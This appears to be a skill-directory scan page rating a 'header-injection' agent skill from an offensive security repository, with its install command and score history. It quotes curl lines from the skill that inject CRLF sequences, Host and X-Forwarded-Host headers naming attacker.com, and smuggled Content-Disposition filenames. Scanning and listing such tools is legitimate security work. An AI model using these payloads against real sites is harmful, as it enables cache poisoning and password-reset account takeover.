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header-injection
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 10 places.
Show 7 more
Sends data to these websites: evil.com%0d%0aset-cookie
The author does not mention this.
Found in 18 places.
Show 15 more
- packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 76
curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)" - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 78
curl -s "${TARGET}/" | grep -i "attacker.com" - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 91
curl -sv -X POST "${TARGET}/forgot-password" \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 97
curl -sv -X POST "${TARGET}/forgot-password" \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 112
curl -sv "https://<TARGET>/" \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 116
curl -s "https://<TARGET>/" | grep "attacker.com" - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 127
curl -s "${TARGET}/api/login" \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 142
curl -sv "${TARGET}/download?file=report.pdf%0d%0aContent-Type:%20text/html" 2>&1 \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 146
curl -sv "${TARGET}/download?file=legit.pdf;%20filename=evil.html" 2>&1 \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 156
curl -sv -X POST "${TARGET}/api/admin/users/2" \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 161
curl -sv -X POST "${TARGET}/api/admin/users/2" \ - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 177
LEN=$(curl -s "${TARGET}/" -H "$hdr: canary-${RANDOM}" | wc -c) - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 178
BASELINE=$(curl -s "${TARGET}/" | wc -c) - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 189
curl -s "${TARGET}/" -H "X-Forwarded-Host: ${CANARY}.attacker.com" | grep -c "$CANARY" - packages/decepticon/decepticon/skills/standard/exploit/web/header-injection/SKILL.md, line 193
curl -s "${TARGET}/" | grep "$CANARY"
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'header-injection' ] || [ -L ~/.agents/skills/'header-injection' ]; then echo 'A skill folder named header-injection already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/header-injection' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/header-injection' ~/.agents/skills/'header-injection' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'header-injection' ~/.claude/skills/'header-injection' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 90 |
| 2026-11-08 | df87955 | 90 |